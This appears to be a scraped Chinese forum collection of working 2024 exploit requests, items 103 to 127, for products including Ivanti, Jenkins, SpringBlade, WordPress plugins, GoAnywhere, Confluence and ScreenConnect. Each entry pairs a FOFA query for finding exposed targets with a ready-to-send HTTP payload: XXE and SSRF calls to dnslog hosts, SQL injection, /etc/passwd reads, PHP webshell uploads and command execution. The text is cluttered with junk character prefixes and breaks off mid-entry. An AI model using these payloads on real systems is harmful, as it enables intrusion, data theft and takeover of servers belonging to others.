<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

# x3 ~8 s7 M% f2 P) k8 q5 z103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
4 j. T3 F/ Y# j% M. p* L8 P4 HFOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
. L: K% {. L) M# R7 s! ZHost: 192.168.40.130:111
, N  m6 O% q0 J1 ?: PUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
+ T5 C3 B( f* R7 f) Z
5 A! T+ k% h9 J- ZSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==


- X- I5 W9 f) R! H! X. ?/ E其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
5 L1 j# [- {' w5 ]4 Z
; h% [6 }( r- Y" n( O% X$ z; ~
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
' {2 D; n) t/ l5 D' H+ a9 eCVE-2024-0569
FOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
4 X  ?5 C5 J) W0 G, }; R: R! b9 cContent-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
% }4 A! c6 t( S: m* GAccept-Encoding:gzip,deflate
0 _6 ~) D! _& J' p5 r- q9 k( lAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
1 |+ S& [# w$ [) R: ~Connection:close

{
"topicurl":"getSysStatusCfg",
( ~9 a5 U& N7 r, R& q"token":""
+ A! |% C& _. u- E1 r3 o/ C1 H}
* U; p- |! w) {; ?
$ ~/ ^6 \: V* O. U9 A105. SpringBlade v3.2.0 export-user SQL 注入
& u5 \# t$ b( X  k/ y$ C7 S8 vFOFA：body="https://bladex.vip"
7 o# y! _3 g# uhttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
8 ]/ X$ m3 Q% n# Y' r7 M4 L3 G& B4 |$ C
106. SpringBlade dict-biz/list SQL 注入
) D# H2 r9 }/ I8 kFOFA：body="Saber 将不能正常工作"
% r+ r& u" r! JGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
- E1 X. V1 z# d) vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 s2 p( e4 u; E  h- Q' zBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
/ s, r  X& Y! T+ E. ?Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
2 T. E% w  |6 q! X9 X& gConnection: close
. K9 |2 _7 A- \7 h$ [' ]

107. SpringBlade tenant/list SQL 注入
: O5 X  k( j3 J  q8 X  U- LFOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
! u! c8 _" w& KHost: your-ip
( p+ ~' d2 J% N7 l+ WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
7 H: [+ i. v. F* T9 T, qBlade-Auth:替换为自己的
9 N! j. U. E; p4 R6 T, U8 {# MConnection: close
% d. j0 A( ^" M6 I$ Y2 R6 N3 ^
' o9 W8 X- {  [: `9 ~8 ~
/ C& ^3 e1 m5 y! S108. D-Tale 3.9.0 SSRF
% R6 w) D, m6 h  dCVE-2024-21642
$ c( |+ L0 V+ ]* _$ j; X( O9 C* kFOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
, l! K- f: m! x; f  p' fAccept-Encoding: gzip, deflate
5 |3 j0 z' _5 z0 _/ w2 |% ~* ]* @. @' K! |Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
  _8 r5 d! W6 g. w. [
) N8 G: ]/ J2 |4 L4 M
109. Jenkins CLI 任意文件读取
CVE-2024-23897
FOFA：header="X-Jenkins"
. F& ~5 C1 i& p$ ~POST /cli?remoting=false HTTP/1.1
Host:
Content-type: application/octet-stream
3 a( A- X5 s* o9 P  ^( CSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
( c6 }) B/ X! j3 }. D# e( r6 ISide: upload
Connection: keep-alive
$ b- U; {/ M% s: L; C+ |% lContent-Length: 163

! P; {& i1 z9 rb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'

* D2 a) ?3 a; R' w# P5 H: {. Z1 x/ W
/ b. w4 q/ j% v5 p% J* }POST /cli?remoting=false HTTP/1.1
Host:
4 \& V% {+ T2 [! F& {Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
Content-Type: application/x-www-form-urlencoded
. m6 Z/ j* e& ]$ u4 a8 JContent-Length: 0
0 ^1 O5 o% z5 N1 |$ F7 S
& z2 i. |8 r9 G' G2 W
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+ \. X  G7 c* J" fjava -jar jenkins-cli.jar help
[COMMAND]
7 Q  ?+ R% w" N# w0 WLists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
) A* n0 Z* W; ?: g) _9 z' @

0 p+ w1 z/ ~1 K& }110. Goanywhere MFT 未授权创建管理员
% h) K! x' s/ a* k: c0 {  ]CVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
( s0 r' _( ^9 Z5 D  iGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
5 [5 C  [0 G9 W1 W& AUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
/ {2 J9 w4 |+ wAccept: */*
Accept-Language: en
Accept-Encoding: gzip
4 }0 j1 H  t- }# y
5 D' }( L; R/ r3 i
( |2 U8 o0 \, M111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
3 f5 h4 `5 ?! a4 I$ I- ^Accept-Language: en
Accept-Encoding: gzip
* p! A8 ^. S- V8 R6 @; b6 R  w

" n) T) ?3 _) E0 b7 e. R: }112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
  F; x' _( e4 p8 HFOFA：body="/wp-content/plugins/notificationx"
& ~4 A9 A5 V8 q2 G% W% TPOST /wp-json/notificationx/v1/analytics HTTP/1.1
) Z+ k4 \! @: \( x1 ]5 B* GHost: {{Hostname}}
% Y: {  {$ A5 R2 n/ F* S2 vContent-Type: application/json

7 N6 _- J% n# }/ _# B{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
7 [& r3 E! K+ k! r" S+ V" R

113. WordPress Automatic 插件任意文件下载和SSRF
$ S: ]6 l* }# SCVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
5 Y% x& g0 N. a- h( W7 b2 TGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
( o5 o  r, }6 W" v: AHost: x.x.x.x
! a- R: ?: e8 L% S3 ^0 t& ~! x- dUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
9 N) ?: Z) @- G7 eConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
) X: [; D. i; v  {5 ?% q

114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
. I9 q1 n7 L2 e- i/ U0 h, \Host: your-ip
+ O: F1 e# ]2 @9 p! I% @0 ?User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
' y! a! H1 S  g. m& N3 |Accept-Charset: utf-8
7 Q# P" ?; e5 P7 c5 F4 N# CAccept-Encoding: gzip, deflate
Connection: close


# I2 Y0 [  k* n1 e115. WordPress Bricks Builder <= 1.9.6 RCE
; {* l3 x  r$ a* _, g! zCVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
% f  o$ k& ?$ w第一步，获取网站的nonce值
GET / HTTP/1.1
$ K) u/ }! T9 V( _Host: x.x.x.x
6 i+ u$ o' X. _* W! F, ZUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
4 g+ ~: {' M1 Y# @) r) v2 l  SConnection: close
* z; V# [8 a( kAccept-Encoding: gzip

( H- z- E3 z& ]) g
! V. ]3 y7 B4 ~  i第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
2 d7 |3 x( p, F" eHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
7 l) F' i- A6 U  jConnection: close
Content-Length: 356
# H; j4 Z/ i* Y6 v4 _0 h* v- fContent-Type: application/json
! ^$ s4 ~+ ~3 z5 ?. kAccept-Encoding: gzip

+ H  g, k9 U9 W{
"postId": "1",
3 I4 s  W& B( a  "nonce": "第一步获得的值",
+ c7 T# B/ \/ g/ E  "element": {
! p" q( N4 H! j. d# m/ d    "name": "container",
, p" Q7 F8 X9 e5 a; |    "settings": {
2 V& h, Z' X  y/ q) _5 L0 E# Y      "hasLoop": "true",
( f7 _; t6 ?, V2 J      "query": {
6 w' ^; ~, n2 k! y) \8 |5 D        "useQueryEditor": true,
9 A) q9 O* h7 l        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
% x4 s2 _# e4 K4 Z        "objectType": "post"
      }
    }
% m% X* p3 H; q7 t  }
}


4 W: _6 A) \7 E- R0 R2 c116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
/ D  m" P/ d) {. \! aPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
- K5 b$ J" q3 \& |& P6 ^' x& SContent-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0
3 {  `& b# O% A$ X
+ C1 _( P6 |% y  {2 c----------767099171
Content-Disposition: form-data; name="action"
; z  d! f( {0 I/ Y3 v; L0 A/ cconfiguration_saveconfiguration
8 {# P; B0 B' @; E4 q. W) ~  v----------767099171
Content-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
) k; J( y+ e* v& L- v+ p0 dContent-Type: image/png
1 m4 ]$ C& U( ]1 E" s$ Y----------767099171--

9 o1 V, i  E+ t" m
( g- m0 M. H+ c' t% K& [0 l& y& |# X117. WordPress LayerSlider插件SQL注入
' w5 G  h4 @- e$ \3 P" ]: E' q: ]version：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
1 Q( u- a8 O) v# @) O: u& o# DGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
) R' A+ D' w* ]& k, K: u0 qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
* D# l7 `1 U- v2 ^9 ^Connection: close
Upgrade-Insecure-Requests: 1

5 {' R  O8 s- T
7 e" @7 W  B+ C! Z6 o118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
% C" P' Q4 r+ @  PCVE-2024-0939
' K1 @/ E3 I: _7 ^8 F) S& ?FOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
; n- z4 ]6 z- b& }! u# e, ~2 WHost: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
( q! A5 @3 H& n; D% c3 Y4 l* uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
* _; a0 F; E! N1 MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; o' d4 n, s4 Q/ t3 m) M4 CAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
; ]) p; g% @1 B* kContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
3 l6 y* W! s1 `: o# e" RContent-Length: 405
Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
2 L% b( y. M" R+ Y, C0 uUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
1 P! v. R: `- ZSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
1 y4 e. {# q# u1 \2 O8 U1 d0 dConnection: close
) T  w/ U' V, q, P7 V9 e- f/ r8 `
% h. S9 X- |& X. v* Q5 s-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
- M! K8 M0 t) J5 S1 H0 s
<?php
1 S+ Q  t/ b* K; }# a- ]system($_POST["passwd"]);
$ K" z# K* z" t: ?! L9 ^( p) [?>
-----------------------------13979701222747646634037182887
' Z1 c/ d) A% [; NContent-Disposition: form-data; name="txt_path"
& ]5 P/ x" F- Y) p. A) i/ z; |
/home/src.php
-----------------------------13979701222747646634037182887--
- A; p  L: }, n5 `; g6 u8 ~

访问/home/src.php

( C2 `( M9 @$ a% v! U  L: I5 U119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
FOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
* @: Y1 S, U7 Y/ f+ {4 O7 Z/ \) @3 YPOST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: Y* ~' I: n/ WAccept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
$ q- N' I# U" r* f4 F% [Sec-Fetch-Dest: empty
8 J$ F/ k/ \; o! X$ J7 OSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
: [1 K; D6 z8 i4 g' y& t3 cX-Forwarded-For: 1.1.1.1
4 `& f2 v1 ^* Y6 d' CX-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
, L+ U# z) d5 _. fX-Remote-Addr: 1.1.1.1
Te: trailers
- E! E) K+ E$ B7 U7 h4 eConnection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456

7 E# B( L% {) v
120. 北京百绰智能S40管理平台导入web.php任意文件上传
. ~, G( Z3 M- F# W& NCVE-2024-1253
3 e" P- `  \5 m# J1 y# nFOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
# u8 b. o/ L: x, C# n" _+ W; NHost: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: _- O/ L4 ^5 {Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
# T. K2 f5 U2 |% N, v: c) w* W$ D# tContent-Length: 597
9 k2 _/ F  L0 FOrigin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
+ ]6 n4 h: {, d0 hUpgrade-Insecure-Requests: 1
' I; V% m& P- [9 R' T; f; t5 DSec-Fetch-Dest: document
6 v9 V. M2 s9 R8 a3 e5 z; V+ W  |+ XSec-Fetch-Mode: navigate
) i% G! L+ V. Q0 @; ?Sec-Fetch-Site: same-origin
( t5 P/ T+ r' `" t# F6 u/ ^Sec-Fetch-User: ?1
% l9 f$ m+ t( Q/ O2 ?8 r3 ]Te: trailers
Connection: close
( f' _4 i& b# P8 s0 O8 `$ F- Q' S
6 |" d+ B0 r$ d& ~* |-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream
0 O8 c6 w* n: ?# Q+ c) d
<?php phpinfo()?>
% @7 x( `3 I+ n; u% k$ }3 w-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
1 l  Z& h% ~) v
/ S# i1 N& v& e1
# \  ?# c6 F( P# j. L+ K" J-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
) h- l% p. h" k  \4 x  M- O* i
0 D; p- y& q7 n: C9 q  ?1_radhttp
! Z5 N( p$ d' D4 g+ q-----------------------------42328904123665875270630079328
0 p/ [0 D; Y9 @9 T1 f$ |( x) V/ FContent-Disposition: form-data; name="mode"

import
-----------------------------42328904123665875270630079328


! n7 r3 G% B& m: L文件路径/upload/2.php

121. 北京百绰智能S42管理平台userattestation.php任意文件上传
8 @' T$ Y* O7 D  b, ?# XCVE-2024-1918
: X. f& N# C6 A: j# M  U+ MFOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
8 Y) u3 Y8 z. p; N. S) oCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
* ^( b* V4 f9 U! f$ s8 e# o  DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
) w; a6 P, f" R3 Q: ]Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
$ S6 n. I0 h/ V4 f4 r" \Origin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
0 Q$ |" y7 C; w& wSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
. x( {$ G( l8 G  N3 ]Sec-Fetch-User: ?1
Te: trailers
Connection: close
+ D0 R: S" }$ ~: T, G, X+ r
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream
8 T. p6 F5 n/ B8 f1 Y
<?php phpinfo();?>
-----------------------------42328904123665875270630079328
1 S" a" I- N2 e" A4 B) k/ wContent-Disposition: form-data; name="id_type"

8 C" M+ B1 Q' h0 F7 G# |0 V1
. z/ o# O1 ^6 r6 X-----------------------------42328904123665875270630079328
, d1 ?* }, w" AContent-Disposition: form-data; name="1_ck"
, J' C0 B$ K0 v  ^# J4 u; |
4 R# @  D+ a& q! b6 }8 G7 i' p* x1_radhttp
-----------------------------42328904123665875270630079328
2 q* V; h: N* W( yContent-Disposition: form-data; name="hidwel"

0 k2 g' @9 q' C$ S, a# sset
-----------------------------42328904123665875270630079328


boot/web/upload/weblogo/1.php

6 T) B" j: I. U# x, h* s122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
- U7 j! Y1 n/ H0 J2 n其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
4 t4 I! b% e3 {0 eGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
  J, L- `- E$ Q# m% r) JHost: x.x.x.x
' [$ a7 }; e; y) F) h+ g# pCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
) R/ Q+ j2 w) J& L& DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
" ?3 X% `3 ]2 h7 e6 ~7 e9 f* i. EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 M; D% u! U3 S; {$ o  FAccept-Encoding: gzip, deflate, br
, _. F0 a7 Y, |5 aUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
7 w( k: t0 E4 U. X  GSec-Fetch-Site: none
; Z& Q! R2 @+ Q. D. [; kSec-Fetch-User: ?1
9 R: N3 Q3 `7 e; K( XTe: trailers
Connection: close


% d0 S5 J2 N' p: L123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
  B; N1 @" G( l% eHost: localhost:8090
7 z7 d- T3 B. y% C  v/ uAccept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
; h0 M; h$ O, c- K, s1 WConnection: close
2 m2 I$ ], Y7 V; N9 |# xContent-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
- @# q% K  G/ O0 v

124. 湖南建研工程质量检测系统任意文件上传
* W$ X3 Z, K; [$ \FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
' b4 p, E; ~9 g4 A- l" ]* w/ kHost: 192.168.40.130:8282
# W3 B! ]) q9 o7 |User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded

filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>


http://192.168.40.130:8282/Scripts/abcgcg.aspx
3 [* N( O* r0 ^0 L/ ~5 |9 ~3 U
6 {; C+ W. f- H- K, W125. ConnectWise ScreenConnect身份验证绕过
2 V8 R) l" h0 q% e2 ?, ]CVE-2024-1709
FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc
" U2 K! l  U6 U5 a) \

$ X8 J+ R7 P# r% G1 A# ^使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

+ H8 v2 F- h$ G3 E9 l
创建好用户后直接登录后台，可以执行系统命令。
' r6 ^: \0 g' Y
126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
( P- S, T. A: ^& @' e% mGET /static/../../../../../etc/passwd HTTP/1.1
% v2 _* t3 w. h7 ~' BHost: x.x.x.x
  _; A6 d7 j3 G9 {* C. c7 \& SUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
2 g4 z$ I; [, y) cConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
* {6 X2 C5 U3 G4 LPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
" d. N$ s- V( `! bHost: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
/ F% x6 U- b( l, ]: K+ q% XContent-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
3 X: O7 i, Y! P. X- JContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
Sec-Purpose: prefetch;prerender

! y% q6 N+ w; ?5 b/ b------WebKitFormBoundaryJGgV5l5ta05yAIe0
6 h! e% ?4 q; v/ X: ~Content-Disposition: form-data;name="SystemName"

BIM
+ b3 {" d5 }6 }/ ?------WebKitFormBoundaryJGgV5l5ta05yAIe0
; v) u8 l% H( U# ZContent-Disposition: form-data;name="Params"
: h. w7 T% X' E( L4 r/ |, _6 \! Z, K4 EContent-Type: text/plain

, W+ ^9 |, l/ e5 W& Y<?xml version="1.0" encoding="UTF-8"?>
